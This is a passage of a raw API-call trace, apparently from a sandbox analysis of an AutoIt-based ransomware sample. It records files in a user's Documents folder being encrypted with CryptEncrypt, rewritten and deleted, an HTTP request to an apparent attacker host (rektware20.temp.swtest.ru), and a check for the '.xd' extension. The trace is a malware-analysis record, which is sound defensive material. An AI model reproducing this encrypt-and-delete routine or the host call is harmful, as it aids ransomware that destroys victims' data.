[0068.809] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.809] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.809] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.810] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.812] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.812] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.812] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.813] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.814] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621780, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.815] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.820] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xd7b1, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xd7c0) returned 1 [0068.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.822] CharLowerBuffW (in: lpsz="byte[55233]", cchLength=0xb | out: lpsz="byte[55233]") returned 0xb [0068.822] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.823] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.823] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.823] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.823] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621978, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.824] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.824] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xd7b1, dwBufLen=0xd7c0 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0xd7c0) returned 1 [0068.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.824] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.825] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.825] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.825] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.825] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.825] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.825] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.825] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.825] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.825] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.825] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.830] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.830] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.831] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.831] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0xd7c0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0xd7c0, lpOverlapped=0x0) returned 1 [0068.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.833] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.833] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0068.834] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.834] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.834] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0068.834] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.834] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0068.835] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0068.835] CryptDestroyKey (hKey=0x164c6b0) returned 1 [0068.835] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.835] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.835] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.835] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.835] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.835] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.835] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.835] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.835] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.835] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0068.835] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.835] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.835] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.835] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.835] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.836] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.836] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.836] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.836] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.836] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.836] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.836] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.836] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.836] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.836] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.836] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.836] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.836] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.836] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.836] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0068.836] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0068.837] CryptReleaseContext (hProv=0x17a9f00, dwFlags=0x0) returned 1 [0068.837] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.837] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.837] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.837] FreeLibrary (hLibModule=0x74c60000) returned 1 [0068.837] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.837] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.837] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.837] CloseHandle (hObject=0x2ac) returned 1 [0068.837] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.837] CloseHandle (hObject=0x3bc) returned 1 [0068.841] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.842] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.843] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", lpFilePart=0x0) returned 0x2e [0068.843] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1ll4hqt6q.pptx")) returned 0x20 [0068.843] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0068.843] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1ll4hQt6Q.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1ll4hqt6q.pptx")) returned 1 [0068.847] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0068.848] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0068.848] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.848] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.848] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.848] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.848] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0068.848] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0068.849] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.849] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0068.849] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.849] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0068.849] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0068.849] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c) returned 1 [0068.849] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.849] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.850] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.851] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0068.851] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0068.851] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0068.851] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0068.851] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0068.851] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.852] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.852] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.852] CloseHandle (hObject=0x0) returned 0 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.852] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\4Hw9GgIh-.xlsx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.853] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 